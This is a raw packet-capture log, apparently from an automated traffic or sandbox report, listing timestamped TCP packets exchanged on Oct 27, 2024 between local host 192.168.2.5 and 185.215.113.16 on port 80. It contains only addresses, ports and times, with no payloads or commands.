Oct 27, 2024 17:17:22.804903030 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:22.884741068 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.884919882 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.884953022 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.884979963 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:22.884985924 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.885019064 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.885090113 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:22.885155916 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.885221958 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:22.885260105 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.885309935 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.885341883 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.885373116 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:22.885376930 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.885492086 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:22.915908098 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.916021109 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.916088104 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:22.922234058 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.922298908 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.922332048 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.922359943 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:22.922363997 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.922398090 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:22.922430992 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:22.965959072 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.002337933 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.002374887 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.002454042 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.002504110 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.002537012 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.002541065 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.002541065 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.002605915 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.002638102 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.002667904 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.002671003 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.002727032 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.003942013 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.003992081 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.004050970 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.040647030 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.040680885 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.040715933 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.040740013 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.040749073 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.040785074 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.040810108 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.040819883 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.040879011 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.041053057 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.041085958 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.041119099 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.041163921 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.091005087 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.119828939 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.119862080 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.119895935 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.119940042 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.119992018 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.119992018 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.120121002 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.120151043 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.120213032 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.120290041 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.120322943 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.120357037 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.120376110 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.120414972 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.120508909 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.175622940 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.175677061 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.175710917 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.175736904 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.175761938 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.175812006 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.175837040 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.175846100 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.175878048 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.175908089 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.175911903 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.175945997 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.175977945 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.175981045 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.176032066 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.254163027 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.254196882 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.254239082 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.254255056 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.254272938 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.254307032 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.254323006 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.254359007 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.254420042 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.254426956 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.254601002 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.254712105 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.275192976 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.275243998 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.275278091 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.275310040 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.275336981 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.275357962 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.275413990 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.275484085 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.275542974 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.275548935 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.275580883 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.275675058 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.275877953 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.275930882 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.275964975 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.276025057 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.276036978 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.276098967 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.354861021 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.354907036 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.354958057 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.354942083 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.355014086 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.355048895 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.355051994 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.355082989 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.355120897 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.355165958 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.392539978 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.392579079 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.392604113 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.392615080 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.392664909 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.392698050 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.392729998 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.392802954 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.392802954 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.393001080 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.393050909 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.393054962 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.393228054 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.393260002 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.393287897 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.393294096 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.393326044 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.393387079 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.393774986 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.393805981 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.393842936 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.393874884 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.393893957 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.393893957 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.434695005 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.472219944 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.472270966 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.472306967 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.472337961 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.472341061 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.472382069 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.472399950 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.472419024 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.472472906 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.509843111 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.509902954 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.509937048 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.510008097 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.510157108 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.510193110 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.510212898 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.510227919 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.510308981 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.510422945 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.510514975 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.510548115 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.510598898 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.510788918 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.510842085 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.510886908 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.510893106 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.510927916 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.510961056 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.510986090 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.511022091 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.553423882 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.553472996 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.553507090 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.553535938 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.589620113 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.589672089 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.589704990 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.589708090 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.589785099 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.589818001 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.589852095 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.589884043 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.589948893 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.627177954 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.627273083 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.627302885 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.627324104 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.627337933 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.627372980 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.627504110 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.627563953 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.627614975 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.627629995 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.627715111 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.627871037 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.627895117 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.627911091 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.627973080 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.628005028 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.628021002 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.628068924 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.628592968 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.628639936 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.628654003 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.628806114 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.628806114 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.671063900 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.671331882 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.671365023 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.671423912 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.706726074 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.706774950 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.706779957 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.706815004 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.706885099 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.706897974 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.706926107 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.707006931 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.707051992 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.708013058 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.708072901 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.745022058 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.745058060 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.745093107 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.745126963 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.745129108 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.745162010 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.745213985 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.745268106 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.745301008 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.745326042 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.745352030 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.745387077 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.745421886 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.745434046 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.745455980 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.745481014 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.746222019 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.746274948 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.746279955 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.746308088 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.746340036 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.746366024 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.788654089 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.788688898 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.788722992 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.788738966 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.788799047 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.824337006 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.824369907 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.824421883 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.824445963 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.824619055 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.824651957 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.824683905 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.824687958 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.824743032 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.862544060 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.862631083 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.862665892 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.862699986 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.862699986 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.862734079 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.862766981 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.862838984 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.862838984 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.862895966 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.862929106 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.862962008 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.862989902 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.863245964 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.863279104 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.863329887 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.863332987 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.863369942 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.863471031 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.863817930 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.863869905 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.863902092 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.863907099 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.863939047 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.863964081 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.905950069 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.905982018 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.906016111 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.906018972 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.906065941 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.906105042 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.941646099 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.941680908 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.941714048 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.941823959 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.941823959 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.942094088 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.942126036 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.942158937 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.942467928 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.979662895 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.979697943 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.979731083 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.979861021 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.979893923 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.979927063 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.979958057 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.980019093 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.980336905 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.980390072 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.980418921 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.980423927 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.980624914 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.980676889 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.980706930 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.980710030 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.980856895 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.980890036 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.980891943 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.980922937 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.980956078 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.981533051 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.981571913 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.981602907 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:23.981607914 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.981640100 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:23.981817007 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:24.023262024 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:24.023292065 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:24.023356915 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:24.023387909 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:24.023389101 CET	80	49714	185.215.113.16	192.168.2.5
